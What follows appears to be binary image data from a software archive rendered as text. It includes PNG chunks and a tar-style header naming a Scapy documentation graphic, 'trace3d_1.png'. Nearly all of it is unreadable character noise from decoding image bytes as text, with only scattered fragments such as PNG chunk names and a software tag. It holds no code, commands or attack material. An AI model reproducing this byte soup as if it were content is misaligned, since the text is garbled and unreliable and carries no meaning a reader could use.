{¯ú!‡’/\ÕçO<ñ?øAèy Ÿ©ŽÔÅ_lë—å¼UAê×èb ‹sòJlèÖ[o B8WìL â±*’ÿÀ,ºè¢ýë_CtÛÅ„'fbO™£Ô:˜èë_ÿz×£üêcûØÆo¼üòËÛ>ýôÓ5QáÖ±Òk¾ªH¦MërË-Çu>ögÊ)§œ}öÙùRüüç?êÏM$ïyÏ{²b„L‰„*` IR¥fÄDªâÅ3[`¢‰&zê©§¢B:ûª"éõÖ[φ®~gÈVÁ,±Ä›nº)Žæ±>|z›0ÐK $&Õ¶Ÿ}öÙÃ;Œ6'nÞj«­N:é¤&jé!è©§žºùæ›×iZŠ™’_…ß'>ñ‰:éUÂ@¿0˜TÓ˜õÕW:ê(WØI)<É$“üìg?›~úé›®¨Ëyä‘…^˜¾?×NbL9„¤ÇŠc 1©'ˆŸâùØcdj·Ýv#aµXQwŠñ™XpÁùR„ê1¦ .ù;Çst§ÍTkÂ@W0˜T[h}óÍ7E˜:ùä“ùLM=õÔmÕÕÑÂTþW]uUÜÊ%ÆÔQì¦ÊzŠÑbRxŠckG°+…Ùȉ“ŽWÞB…´ûFÊŠ×BÙÙf›í€h¡àpÙgŸ}h$‡{ŒÕ³±»îºëøþD·ÎQHˆR2~ä)U ÜVGš£½s-l¥¼®`À•ŽÙ š¸+T»Rgžyfµû؇Þñ¥ŠGgúÐü 4ÉAß„Aèé ö‘COq¯3ŠLÊM K.¹ä Nc×úýÒK/u­î!©˜ãþ 3Ì0$ƒ©ä0&Ÿ|òb¿ÒÙ½"NRNÂ@Â@…0˜T…&#u%a a ˆÄ¤Š8I9  Â@bRšŒÔ•„„"“*â$å$ $ T‰IUh2RWŠE„"BŽ`,çœsÎXo‹ùb]Î9çœÅüŽä¼ñÆÛm·ªöÝw_^à©3UÒ3 ¸Qõ²Ë.ÖUjGÐ{Önù†æ™gž‡~™Õ´ú‡z*B„I’?­œ\p ¿ 'œPì`¿çž{Î1]®êá1 3¾dR¢ÁœýŸŸ¸t]¨>UÙE p‹½âŠ+4àðùøÃ.¶ÔFÕÁ¥»~!Â$IŸ¦½þóÿüŸÔÜsÏ-æÉöÛo¿÷Þ{ç^uõÑIÀÕW_]Vã®6”*ï8Î=÷\g9×^{í /¼ÐÙ†/}éKo¢7V„“$՛鳕-¶ØÂqÊl½êxðEÿù¹Õ}ÌÂéE%1€19=C{ Æé5×\óÊ+¯ÔìæXSøÞ{ïEÕ,س̊abR=›ñÚ 9¬tß}÷ÙcÖ~r f“®‡ì’!ÇhD¤ XÕD©§ R}VÍ‚£–™˜Ô¨Íxow1ή -¯™u×]×ßÓÝV‡ºö¤“jwzE>ôÐCo¹å±:‰è»ì²Ëb‹-+¥qwÏu×]lši¦±º²û|ùË_–þÚ×¾Lèa¿ño„ûZD§ ”-óð÷¢²îÅ«\¶ÜrK1‹Ï;ï<º|Õ}ôÑ™fšiÙe—Ýpà Áç~ßûÞ÷hm]V<ß|óí°Ã/¾ø¢0xÏ?ÿ<©rÀé±#øÛßþæÚ‹™gž9œ`§ÚyçMÖwÞ)NhþëLý 7ÜpÓM7ªpÚ~ûíJm½õÖál3­¼©¿ùæ›™t˜wDˆÞÿýkê~ò“Ÿ˜èÛo¿íé’‹6vÜqÇYf™e¬‘Ò£‰‹ÀV]uU”À*A„AÉ?"C<)7å•o¸VïÀ¬YD@NÑÍÑ gª©¦rÌ¥—^€ó›ß|øÃ¦˜Xyå•) Ìýûßÿ~sYØßÉ÷ ¤Òþ‚‰ ¢D4ÙœI'Txu­àwš Å÷ÜsÏø WXÞüóÏ`euÆ@‘5rÌÁ{ÄÅ@¦xREÌÈ ñ¤h—j¾™áÖÝwß=æŒ7VÝÖsêO=þˆ!ÌZ$ »¿PCˆeh*q@S ìÝï~·52ÖGy${´·¸’­¨EÙXö‹œH]HbÍ5×”C´Eµõ˜)ãô!Oj´®Yï,“2ߦäÆo “ꆾyç—t¦™ ŒqÄqÊ)È 8˜WÌq™0!ÉcNLÔ¤T+ÔŒõrÕ Ó×_=tŸ:Y$È4ñnÖsÑÞ[o½aЉĤŠ8‰9%™”‹¯aÞh±`ð¼³B¸#f†D©wyšz²Ì.–%MG†%SèjîˆÌ.<á³}èC´c± 2P6>f™r ò;Æ—­p‰01©u–I )‹>¶ÝvÛ8ñ® –yíµ×JcÒ\f²¹tJ­I*$”e+Á}dÞqÇ1“à&‡ƒU̱’ËÉw|‰IETe˜”]á…Œ“-n%³¨@þ\Í—®3õu˜T®¼/ÔoS^É ò;×™pö12)+ÙFm¤‡«­¶Zqë1ÖdRIqnvZüýèG?¢-rå]@üÙÐÙÿÛñ©tñÅ÷«:ýôÓé†Zl¦PìÓŸþt6OsÝ¥3Eã&[ecH~ðƒô6EéŽ(êF"¸G…v¬Š)¦Xe•US¦`/‰01©23RMø9UÇ´W|íž;™ÔU—_~ùi§Æóøî»ï¶ÖùÑIQ· z±`™‹s}0– ÿøÇ;í´…ˆ>ˆÌíË¡ÚïÞIÃúý…·÷Üsî@ ¦>;dDB ‰•˜Ž=öØ#ûª…ôk¯½æ’GR<}S(nýËÖt%BŠj%SùS¡n°ÁÙªê¤{I„‰IÕ™ˆz¯ì§h+©!ˆK9*ÉÃ#° ?*ó믿ÞmQ”G´ÝÑ´œîTZ߈Wx“Õ[œ cæCŽuúÙ©¦G¶ž `k­µV Äçƒ>L›LŠJþ³Ÿý,6DÃ}ÐAYuËë¬³Ž¹Ž{ô3Ï<sê$–^zieQ©Š>«|ùW$¤“*ö<$s>›šÃîùµž…§Ï¶í÷·ÊÅäšz䣀”Ék”úìʧžz*•yЯ7UO.‰ÓGVeÂãAR³Hpd³éæµ”¨3õÅW¼–Ü—Áz{Æg°Ó›S‹ÍC¶N~ \ ¸¹dÕ”Y€˜¶¿#éã&Ôš'œpb&IÑ£G€v$ÂĤZŸNtÂ\ØU×»XÑÓO?8f”{tUÙAPR=‚ƒb=-'ÐgÄêø©F !¶\[*ئ›tC¢¡Ù© <ûì³Ms¸L©Ï½Â†8©(E êovÛnyÿý÷gåeqÒ’i|…åqžbá‰9xYŒÓÂÁ‰hþVø`h'ÑA"LÛ½Ö'‚¤}ÜqÇqà0ÉDâ/Šá\ÎÏÛÝal:|X˜ùàâ¿KÇ8‘Ѭˆ˜M³¾ùæ›+‚Uñ6nßGzòÁ t*[<[?~R¸ˆWäùÖœJŽÀzØyÇxÿïlÂ1Š(}Ì1Ç„5£ÎÔ£‡Ä³¤ñHpf…˜AʯW\Oa±q~€Æó…^ȵëÃm·ÝFÆ rú%ÄQ烤šœqÆsðáñÄO >îêG-5aÊgv’³®CŸ:EP~¤a‡?–ǹzPÞ§>õ©¨îYEÄ yeÊ™óâbe‚1Žã?>Ûºe0Š9ÓN;-¹Œ3Œå¢B:ËÖ@­ fâ}Ìä>:1m²É&VÔ™M$?©,6ré:~Rd" é&W$÷h r–£*áU©`™ “háË‚aÉ$h;'——‰cXáJלÖ_þò‡`â™EðÌŽPZÇ"õ'¤ã_JL”Ìw!ºžö˜kúI%ó8Am%p%,Éw^¬…Ükã•ÎÀWt–Ê¢õbÙr‚ ý—æX©Ù•X©YO9å” %ýÕ¬61©šh ™u˜TR _Õ™zdÃ1˜¦<ò‹X¥8ÝÖL̬™À’Sl5ÙC5!;›Ù2&&ÕŠÇyg'¯µ±6Z6¹óÛºú꫽¢z(¾’“˜TM´„Ì.1©:-ô«–‰°&“JŠó(;I"%u¾8çæefÕ®E˜”“0Ð>:K„IqÞþŒT«šƦõ×_ŸuYH:{›[? —\r uMµzœz3tè0´TÙlç©ÐCSŠóf›¨<3"*á¶“%~JÖÝvÛ ÆêaÚî…ùi»W95_µF„5·{I’Ê~ÈC’þÀ>ÀÎí¼Žýåó•ùG?úѦg .Ò0ú„abR}šÃî7ËÇ݉âf[Ýÿ°ÒJ+•<üÕýq¤­anÀIqžCȨ?òÄáwãü³ÓaGçQGJ_1˜T_Ñ_½Æù%òæÑÇÕE"q«êMÑÈõ(1©‘›òúæ/˜ ÿÏÀ¤°;ª*IDAT·ª®ô¶HLªH¼&(¤lúêp+,ltv‚N´ ÞQGQqNLèj8§%š·Â°°$ô°-q(?¯œwµ%ôw(µìñ,3d÷Gûƒ ƒ½ èìW¤Ûµ£l×ôqÖÌà'U‘ù¨f7^iõæ›oâPxS<8Cyô1{5”c  É9^ê¹0G¬éVs¾†²W¹+­&@UC9Κƒ``¬;¯kÂw;“¸»¶—[n¹p™B·›+S?M9)™•­°'EZ¶Šr“x!ŒÞä +§ø6®üqF· Zªã|²ŸÐŒ¢YU§Wez"ÒòË/?r–¾ÁB8¡"^õàAσlåcDÙª¦Ü$:˜€…¹ènŽÂ=É¢_ \ÏsEÔxRÀŠÒ*ê­lÉÿÖZUXoEnÛ[kÊMq£× ô¤:ÚÅ@bRíb0•¨>·J¼)NÖ%“ É˜®V[ÕäM«¯¾:}?}S’›*NX‰IU|‚»{‘[ /ö€½Ü &Þ4ØÔóvï“zé71 Ž{Ð[õ€[%ÞÔÍ™ìC݉Iõélñ¾†ú­–‡¬_Oß–áV´GCaù!Œ8o*O3å!Ë#¿«éXLWÑû?•‹*W3ªïÿ½ãçŸ~I^–+8X[¹â saeãÁÎ JpP¢-’ܯêKñï|ç;|ÍÜk²ÕV[qpéNH¸ÛµƒË,³Ì(h\ê0@}\y «\+‚U 1©ÞM‡[ð\ˆöøã×iÒU}!y˜!{U“[‰SŸ[%Þ”#XÏ>ûlîÁ¹üì£!]ÿ9x±É~é×3 }ôÑXÕË/¿ZÌ9s¢¡‰'žØå =ëO5âËd«¸é x'oÜ9X<³ä¦A÷½l.ˆ¥®}´ †ªrΜ¤xë¿í7ÔãFëÞ½#·ØÜ«¯¾jëá2Ñ×^{ÍÛ,“²¢!—qKlNäV˜TV"v|'ñ¦a@—«ª…Šw8f™Î…Í2Ë, ¯êËÕY…Ç´ÝËw§Ÿ~z'WÝøèP˜ƒ„±1·`;1Çò•½=¾ÙÄÿøÇßþö·͹u9 !j먫ä{ëªÞ‘ÅOnà¹/~ñ‹¢Ú‹þüúë¯Ç·–ÆqãÆ9]ïröˆÀø¶ú‰Ä¤z=G ¹Ðxƒ 6m£4ä{³×£ˆéu‡ª×^Ð7áæA~à 7D]¸o/¨«|lY½UˆÁP½¡ôºGë­·ž&|ðA«`8&‰ãY8—üð¶×}j¿½*ˆs#Õa›âæeî¹ç6ƒîq ó(0ÓР‚lØìX\‚Dß”5Æ1óµ§³µ L*§·¢—!5ÛôÐÀcL8{ 'W·IÌ1ÇáqþùçÐa&T&ÎEçnüu^L_pÁ}èM§›¤ÀþêW¿Ê dÅcñ&T]xâV9<ï²Ë.‘¢²Ôuä‘Gæ å11©>Ì”Ø,‘ŒbBÈGz–>ô¦£MŠ|BZuÕUÖÚ&o*Ößqne£Tl¥ú9á~ÍHW!áîÅ M¯~ÿ‹=LLªˆ“®ç¼õÖ[Ù%.U×îrwÞy§peïz×»ž~ú鱚›r–aOWRn«Úl~àVk­µV›;Aý¬3l‹UK/[äìZµN–ïObRåqÕIÈm¶Ù&·Ö]}õÕl çuqûv¤Aíºë®ÅÆ{À›Š¶É­èï?ò‘\vÙeÅš+žsàæ¨ëÌ3ϬxŸët/1©:Èé⫝̸g0ׄ2ú—.v¨ªyNl¼ñÆá«à¾\ÀB}}áMÅ¡´Ì­Ž:ê(fÄ}öÙ‡BºXmesZȺpM`­lov,1©†(ê@4êù¼wÚi§n5Óåz¹€3Åu›<¥Áš¼ië­·îàž®µa5Ë­ø²…á+®¸"‘ÖíK©Å_úüóÏçæ~Ôüô=Ĩ©/½ôR"’“<—Tk>ú0ˆxN-½ôÒö¢hÕ㢋.Zôn­ß³W,÷gœqƱÇ[3¡¨;|ðî»ï®?t@wÜqGÏ:V²¡jRY[H™’Cø7XŽiõòqûí·o¢£ tx1pÍ5×ô’ðÊ´å€ôvÛmç¬RC¬‹Ž‚—]wÝu !@À€ e¦ ÂŒWö ƒ.}Ïz õ«©Ý¾`@Èš§žzª/M×lÔ‡Á¯‚ètÕUWIׄÉeRÀÙyŠSÉ1#Da§Ë‹%ýgR¬®i,ÙÝ6dàª^&eëÊ¥ÈÎŽë¦-*¾sˆþÆDx¬™y÷Ýw›ûVÑf†lŽ:8÷ $“ê RU í`€ŸAËëeŒÖNRÙšøg¼š)3a a a HLªÈOM' $ 4Æ@bRq” úˆÄ¤úˆüÔtÂ@Â@c ôߺ׸£ ÁåËuibé30*†mÜ‚Û8 øÈ#ðtuÞ¼óÎïJèàPùÓ>öØcŽ«<*õ™/xàEQ`ü 'Ã;ØVUiIÊ톃ٿ3Í4 1O_^ÿDD¶ªyæ™G‹"Žg3{™v•#cöŒ3θÔRK9Ù`°½iýœsÎÙpà ?üðÞ47j­ðùä êàšk®¹ÿþûïµ×^묳ŽP¿\ƒC³k¾nºé&qœÝE„©[d’ÝvÛ­ |‚)ò ~q×]wvÞyg±·\Zá¤Ñµ×^Ë[ëöQ¾¶Ys¾…ᎄIsÌ1Äp÷/vÍ—Àd7~ªÂ"Çk¯šm±/ð•fR#DâÜ7ãÈØÉ'ŸlQ2µ÷ÝwŸhd}Á]—ýæ7¿‰|o¹åg»ÔÄXÕú~ Ôß±R~Ë ãP®Vä/j õà&bZk[ÃyÍù" èì¶T‚ØÛóÎ;Q9Nv‹™"‚¹|lª©¦Š9ÕL “*"ÎÁN1Õ¸®rÈ!ø×÷¿ÿý"Lr¶Øb K¥pæá†‚’]²<"âÅ[¬$|ÁH¬Qhí`µ©*p•©¿‡zhäP-¶Ø1ÝT¢æ|Ýÿýš÷ÎÆÚØ‘¡c¦CÝÕ<×{•ÖIåúš{ ÷•ß|ó͹üê¾à‚ æJ‘cöÜsOo54nÜ8ô*l˜é>€¿.€ÔœÄ™WÒtañmØc”ñ*´ WØ\#HS¥²·{†„®d zhìXp¬\‚*- Þu±àUΗ–Žé6ÚH‹Œ'{X2áó6:×PSfã `ü.á…ŽuMVbéÅtÌ#úŒøDÙþäæ«H?&+L“ WÚõ~d걄Ë<âˆ#bÝžî•VZI‹ÍÆ“êл¦˜”UÅäñ!2Ú5ÖX#âWÂúCsˆ`|'á ù 2ÉÞT‰Òâ¯l|Ì2)\)ˆ?_¬;CFBv‡J¹iŽLg¹‹\L~ Jþ\±æ2‰°/ e¿õ­oé6‰ý8䓹Bè"¶¡˜”U1ÈYÉÈvÁ(nUÀ@/ÇaGtÍl+9¢÷*äøT¾ð…/„Ä~öÞ{ïX–Ó ‰Õ·î%çbæ#ÔbûUF‡IÁ•9]{íµ¡%þˆØ¯H!¨ 7á„i4k¸¼RÖ€ì5ŸÅù\“~“Ê-c1©îM÷Ð2©8£Ù„oŒ@”ûÆâ7Ö®àkKfŽ9bõš~þ¾9àìcdRˆ#|E6/Ù¶\i«3Ûn»m¶_^™Ü^bf§˜”m!‘ðB~Œ•KàŒ¤!ºØJ<0)}À»³¼¤ÍšüÈàäã%'ËÓe‰>ä€Ä„IMîíŒ1®ËÉ"$hjùæD˜š‰‘bRö¿¸ƒÝz¼˜â,~¦Œu8›.ƒ¤8fçË«ö™T÷¦»5&5:)–e¸ó›fši8aS‹D8äÿ˜¹ ´È°NÜzë­ô#öJQð.–Š9æÛ*çËÿÜç>çâHR\i °-xÊ…"˜õ–ßrË-+éHBsÖO¨Ü]og…<í´Ó¬·a©ÔöMõ@˜Ê6ÍÖ"œµ7sö Ÿ~* Y3³‡Ï&¼5L‰?üáX=Ò¡Îi£JÒ ù,%`€ÄíGçÔ|<›.5—\rI?Y6Úá3‹öìÛ¦«6ÝÀ¤ì¡‚\Z~ˆ ´Âôèl¥lFBYÔ Qæ³fsdÌ.h¾C%„ i‚@ÈÉþ D6§ý´=¼Jj2V‡*¼"ÄE&…}íÜaA»á$ò †â {˜s†Ã"Ÿ±Ií%ëõŒTÂ’³ÓN;AùÂÚF.누†hM4l·ÇÓ=LªüØ ¹F‰Ü\×´³Ë·-òÏ[f_Ó8”/–Ña:Ñ#ÇÚži¯X*GgE€r¯RYQ.V2@ȬÉ,ÔÂKû$ìÔ8_|ñ\@åïpF¬ªN¢á}øµk,±EPÖ«HV®Sÿ(¿b¢^x衇XrW®6D{—ðÖ°ÝO÷ð0)ÓL¯Œ ÑptÐA>?RƒC>È8—Ÿüä'¥Ÿy晘S'A-­,û òÉùöˆÁàƒ‘‹¢*ÇëÔÖÎ+àU¯eÏV„1³&/ÓgâáP™aReÿ‹ wªÿê!o’.:¤!²Éá{/(ÝK‰"8‚£^Öäâ«jæôxº‡‡I9²Ä×ÖÇLm§ÖÖ,¦%˜ÃY.8ÙØçô;Y0iû;~w¾mŠÎGœÈlya§ÃlO›À ˆWA®`ñÑ¡hõóËç0ᦳˆ.W¡,«>H€:²‡âà ØàÉ›VB&Ë6{•mÎ>ÚM¹µX$ì=íÐ5§•,̈§© ŠÛp8A¢Œ­¹MV•ÑÕãéþõj•ñÒ°oAÐÈî_(¤XR²¹œ°@‘¶HF–ýø a+ÌjÁñ²xU¯ï™å˜¿UŒaBGæ­ÝSp׌õ0À®r|«A&Á! B6•pzÞ¦€Ip¨ BÜ<ñeŽy é›™Ò–vÚ‘1›¾ƒÊXÔï/í¾è×_=ݹÉfn·AÃzÂéó8ý>ß¹³&42Ñhès%IÕ‘Gø=€§aá·5пð? ¢Æ¡¨ÏƒtÃßZüb[€q7^ZDD¹þúëß²†ÂÙ0¹P[ݸ)ë?x”M*4Ø2v€—_~Y”_l‹~Šl¸É&›­(ªb~ †T|Óè¢É"TB=¯ K]U ÕM÷(:3tî¹çf³ã"Cqy ö²l~•Ó½žnX¿~ÁTÇã¼…ŽYH4¶~$ÒúÅm—Ð ×8K\}Èúom YTÅ5ÁÂÛ¬'dM°ò™=¬žëÉR!” NáiFŒ‘ñs¸/˜²G‹JÖ™Óžk(z:«‚úýìC©¨‚¯&7TöÐl‘˜5gN˜qšÂ÷ØcŠBN°åç1"­¿‰v¦»5gÎJ‹éïd M묖ej‘âˆì5¼²)¾*Ÿܸˆ–5‹DËFÍ·£Æ¤j"a°2Û™îÖ˜Ôð(Ϋ,÷·oÌ: ðC±ÂEÈÌZŠ0 s¨ºø=8aSŒ™ÃV@vcdg5V•ªÞO÷ð褪?»ýê¡(4lŽ4bœ*Yd.éö¶~t[ÜXXÚéusž\ù X-ꦉÓGjP§£;kLl§·©l›èÃt÷QÔì†NªÃ©rÓôåXUŒ+È”mAðeZ³Žôœ§h K?±<ÝëÔŸ¶{uSåW­MwkÛ½$IÅj˜Ž"3-1DÚßQNqA 2µ®5ScMLÑ|ù9ºÈÜN1OY®þšî‹5‹§ÌÁÂ@/§;1©Á¢¶zËw‰Û„_[µÔ-Œ7ùÕI/‡½™î¤8ŠI#IJ $&5”Óš•00<HLjxæ2$a`(1˜ÔPNkTÂÀð` ÿŠsÇÊB”ÈáAjIi ô né¾tPˆDÌuð膎:oÇzÕ&帱:—ò œWý«ÏÕïm?™”€„îh«>ŽR»$ºÝD·ë'#sI$7 Oœ«g^­¹¬ô˜000P $Åyuæ"õ$a a “ª””•00P ü?ßó{5ŸaæyIEND®B`‚scapy-2.4.4/doc/scapy/graphics/trace3d_1.png000066400000000000000000002657301372370053500206210ustar00rootroot00000000000000‰PNG  IHDR¶ÅxYè pHYs  ÒÝ~ü!tEXtSoftwareGraphicConverter (Intel)w‡úk]IDATxœìÁ1 õOím ÎÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÛ1 À DÁ«íÑrsM¾… ˜DPD°{|+ɵíïGÀ{öW"p‰ ƒõÀ”ÈE"À nk­nÞËú!Ìn`EÿÿìÜ=j„@€á½‚­••…G„Å’ÂR\ÿ®‘Ûx H`ÝÙŸH‘ìú€dHdHdö+Š¢$I.wL!°SY–½}ªëºªª²,óŸÏëõÎÏÏãØívãM‡ÃnF.£•ÇÆÆ4M{{{cccuuµB¡È÷ìDDDDDßUQQQWW—ÓéD/,,,--E"‘¨dyy9/.."šÑʯ_¿FFÆÑÑÑþþ~TrsssMMMIIÉ… ò}DDDDDßCii©Íf››› ƒ¨adñêêêúúz"‘H&“xÅñÊÊJ( Çårá|ƒÁ ÕjÕjugg§R©¬­­EgçûRˆˆˆˆˆ¾¹DZX,omm!Ž÷ööÒé4^···³+Ùëõ:N³Ù¬×ëQÉmmmMMM•••·oßÎ÷Õý 7nܘõù|hßµµ5”1jxww7•JíK2™ *ż¹¹‰s–——q²ßïw8ÓÓÓ:nxx¸···¥¥¥¡¡¡¬¬ŒË-ˆˆˆˆèo }¢ÑèÆÆÆÎÎN:YüæÍ›ÃÃÃ# ŽåJFCÇãñÕÕÕH$‚JÆÇM&*y`` ££ãéÓ§åååW¯^Í÷eýQsssápá‹~#Aÿ"y+y÷îŽE%ïîînooonn®¯¯£’C¡Çã±X,ƒaxx¸»»[©TVUUæû²ˆˆˆˆˆþNb±ÚŒþUòNòß ”ŽŽÒé´\ÉkkkhkŸÏg·ÛM&ÓØØ˜Z­nmmåM{DDDDô7æv»C¡z7•J‰EŸœœ|øðáôô¯Ù•Œ3¿Id‡Ãa±Xôz½XkQWWwÿþýK—.åûâþËO’›7oæ{"""":ßü~,K$ét‰,~?F#‹?~üøYòéÓ'QÉøÛìD -D"ÏÌ̈µ]]]<¸sçN¾/îß”Jekk«J¥úYÒÜÜ\[[[ZZšï¹ˆˆˆˆèü±ÛíÁ`¥‹DÎd2"‘ß¿||Œ&FÿSrvv†\þDžE"ONNjµÚžžž¦¦¦Gݽ{7¿W‡FÇ0ƒƒƒ¦¿¿¿¯¯O­V÷ööâý–––'OžTTTpMýG ‡ÃñxÉ»¿¿ttôöí[±ÊâôôôóçÏ_¾|ùúõ+*ùwÙëõʉ<66† U*••••÷îÝËý¡Ëëêê0†Ñh´Z­‹Ål6OMM™L&¼ƒ ëW¯ôzýøø¸¸¿Pì ¨P(®\¹’û‰ˆˆˆè)++ ƒ‘H‰œL&³ùääD¬²8;;CãÅüM"ollÄb±¥¥%9‘QŸ###ˆÎ¦¦¦òòòÜ'rAAV«E;—Ëå‘ÌÍÍáØétbÈכ͆nF.#”ÅãœU*Umm-þAr<0/%%%¨[$²x2ÚWÜ«'nÔû(ù$AãMñè7‘ȉDâ›DÛì½|ùRÜ®‡ÜÌñZd…BêE£‰ý~ X\\ K0$ŽĦ€n·[4ýôô4fë.0öǯ]»–˱‰ˆˆˆè)((p:Çx<.žø&îÕ;–œH>Hä>–7ÉNdÇcµZFãèè¨Z­V©TÕÕÕ9^àk00.,Ê鿲²²¶¶¶!OqŽF£b÷ìùùyœŒž[vww£’ëë뫪ª¸ï Ñ ˆ¦Dé¢zE"¿ÿüÜ7O|;<<ÜßßO¥R;;;r"£GÝn·Ùlž˜˜—öVTTärëÉÉI»Ýîr¹|>’}yyƒ!Ž‘Å[[[ÉdÿÀ+Æ›¨dœƒJFÙã#6› GÜ÷÷÷wtt`øÆÆF…B‘³á‰ˆˆˆè|AÚ:ÎP(„ä•÷ ‘wÔ‘Ëÿwß(bTl@m4ÇÇÇ5M{{»xâÛ­[·r0ÿõë×-‹øñ8 bñ³1.G”1‚>“É ì19Ê^¾Ëg"îE(SÉ*•ª¡¡ßœƒù‰ˆˆˆèÜÑétV«™‹²ÜÛÛCIämöàû8‹¡2\."ß3<<ÜÓÓ#î{+..¾|ùræ·Ûíh\Œ‰D0Ãx£Š2ÆØb?mñû·ø9ykk+G£Ñp8ŒÏºÝnq¯¡V«U«Õ¨ägÏžUUUñDDDD?¢¢¢"“É„F\ZZB5îìì ”—rYŠ\KÑ—‰D§­¬¬„B!9.'&&—¦³³q™Ëǽ!Ð1æA£}E‹áåù‘ˆJ–+•¼¾¾.Ö]ƒA|ÙlFè tww#ôkjjxßÑJ¯×#s»‹‹‹«««Ù«”±JA,QˆD"8Óçóe÷q__ß‹/P–õõõ9{–ÅÔÔÔüüL÷Ñ£GtVüìÙ3‘eA!dWÆ+¢G`¬"Sm¡È؈(2µÑfEf†a†y&''aÀ°+˜±8ßiÃUT†(ÏÏÏè—ÇãéííŽÉ’ã³?E~~¾Ñh¼téÆi±XêêêF5¯Pd¥òì¡Cÿ¼©Rý×’5Xr»\K.ÛíX2¬w÷\(²HDŽUä—QÈŸ?N¹ÈB‘üñG¡Èn:ƒ(ŽëaÊ%%%ñég†a†‰k¼^/õ=†`mllÀ´¨PÚ%Ò–——ñøÜôôôØØØàà`OOÏ•+Wl6$¬¬¬,΋ï †ÒÒRèr¬"Ã}³úÓÏ×Édø ,ùVJÊ€ZíT*[’“«“’2v5/ùêÕ«Øu`gEÆ üø1)òo¿ýFgõD- :±‡W(„LÕ‘·Sd,ȱ®®®.,,ä2Ã0 Ã0ÌŽ8räˆßï_\\„¢AŽaidư.jM÷èÑ#j´·Ö××a`e|– ±v¹\ÝÝÝMMMµµµ°dN§V«÷{ZoËUä•Jøðv.•HFSRæÓÒ&RR†5šJ¥].¯IJ:º«–<11‡±ÁÇ=‰È±µÿ…*¾‘‹NÔX ¡ÈXG¬ÖT´ÁÆd2Åùî…a†a&Ž˜™™ …Bkkk<€fýôÓOdÆO¢P 7’0j× £Ž ð0Š%;Îööö††³Ù|þüyX²J¥ÚXEîS© oÍ0®NJÑh–ÒÒ©©±–\¾{£££Ô7{kkëñãÇ¢iˆh§÷, ³ˆÓÒÄv׃dc i]®]»†u±X,%%%Z­v·FË0 Ã0 󉳴´´±±Á‚CÎ`]?ÿü3ô‹ZúW>Þ…=S¨òþýûøJ$ÕMMMAïúúúºººl6[uuuQQ‘^¯ó@r¬"÷«Õþª9H±DâÑhæ´Ú­ºÜ­RµÊåV™,—Nï¹\®@ »Å»qÿ¡ÂO_óF÷i,Jl÷iʇd/..R÷éÞÞÞ+W®´´´`Q â|ÓÂ0 Ã0 GÀt·¶¶¨R ¦p2!ddÉ¢Ññúúz( ƒ>ŸÊ&Øív:–ŸŸ¯Ñhö{fo#V‘ÕêôÏ3K¥¥rVX²RÙ©P4Èd&©ôÃÇ#j‰ˆ{˧ÉB—‰7âÇTër`°áiâ´" &“)++ëÃÉ0 Ã0 óY'ÛØØ€‰B¼¤ÅâúÏŸ?–L1KŠ%S yyy¿099év»»»»ÛÛÛ­VkYY™Á`ˆóFn…‰‰B‘]ju¹D"ûâ‹¿üÖ±®F-9¨ÕB²ûUª.…â²Lvîƒcɸc^¯7ÀqaÉT ™2¡”÷B¡e‘L ŸÞÜÜÄWD‚8ü˜:R‚86-EEEBf†a†Ù)ð*8< ú%ÚÓɰ½F´¨€F‹“aEZ622B¹T`8Îë‹Å*²G£1K¥Çwvüîè E0jÉãÑ2dÉ•Ré‘hR——¯õù|¸™°dqtrkk w®ŒÛNqe@K@yáX…H$‡çææDü˜üØf³ÕÖÖ^¼x177÷½Æ0 Ã0 óyQQQqçÎ~øá EõÅ^¾|I%Æž={öôéS|æ E¾}û69P}1‡Ã-3›ÍEEEqþŸýXEÖhª¤Ò“;®PQ&‘ÜT«o§§Ã’ñ#½*Õ®ÔKîííõx<ãããÁ`0 A|Eij¬•qócƒÇkkkäÇ ðc|×ívãw®^½ÚÒÒb±X¨ña|«f†a†‰Gà²Ð,:¨÷Ë/¿Ä¶;†S/7\©‘ÛvŠLræóù\.—Óé´Ûí—.]2:n¿ç÷ärù±cÇŽ=*“Éb_'EKI%j4µIIgÜùÏaÆ3ZíœV;­‰Ñ!—[d²r‰ä½cÉ¥Zí@këÐÐL»Žùùù••ìapŸÉ•ÿð/®®®.///--ÍÎÎNMMa—ëÇT€/777Γ†a†a⋪ªª»wïÂw©›Pd8ñï¿ÿ?~õê®;Qdø5rkoo‡œ•——çåå8qbgg±Xššš¬Vk]]e€Ð»çG_+2®V™,s›î!ÛQ,‘Øåò@¬%+°d³Túõ»[2üx:7ן›‹800€û999 K…BðàH$!ÆÒŒ§áp¯S§Ã™™|ÒëõR—®®.Ì»”âââìììwÃ0 Ã0Ìç”ëÞ½{>¤B¼±íŽI‘µ;Þ‰"Ó±ÖÖÖššRd¥Rù1§“••e0àˆ0Åþþþ¾¾><èîîv:ׯ_¿víÞ²Ûíõõõ/^„AÚ¿ý¶éÄ ÊµhJNÎݾ{ÈvIHh‰Zò¼V‹ß¹©Ru*ø©*Xò»41Âõzøñ„NçËÉãâNbË1111;; ÆMÆunnOƒÁ` À=Ÿššòûý·nÝ¥úØTVVb'pöìÙÃï>#†a†a˜Ï³Ù EíÜ„"S2€‹\ä_ýõãzkkkáp˜šQ{½^X©Ãá€Þág?r:†, q„\â)Äöx&5…&åv»E8¾…Íɹsç8ù˜a†aæ=1™L›››¤È0`ªõFµ,^D¿¥¢…PdêuL* ž¹¢EOOÏääd0œ››£h+ÏÌÌÀ˜cýZIÙº°äÖÖV%†j0lß|Ó&—¼oá¶‚ÄD‡RNO§zɰä+;®—lÔjÉ)~ìÍÎÉÊj=~{Œªª* òƃƒƒCCC¸B…oFÁ0e¼åt:©^cccuu5¦SPP€ ìÿýæÂ0 Ã0 ó¹SVV¶ººúðáC¸¯PdQôˆ­‹LÝCb9 ÍÎÎÂ>ápе¶¶6x§ÑhZ ^©S§ÐÚPßq‘xEçÏŸKEQîîîFQÆ“Å|êêj´dçü`Q‹õõõͪÜ,ÈV*+µÚ£z} ͵ÎW*3äò$™ÌÇÉ’cÜÝ…×WšLå&SqPP°Báün;—/G?¶‘"§{{',[®V+]\´Zmnn.~-yº;ƒWÊe†a†a˜é‚²ˆ¦Û×ׇByéÒ¥‘‘É•….;û±è¯À“QI;::šššDœ‚ب—™™¹uëÖØØX‹Å8¯Ë>|ø0Ê.®ÝåX ×f,&6xŒO:O¡ "ȹ°°usÇŽÛ¶mKHHˆŒŒ\±bÅ,×f•É*´ÚÖ 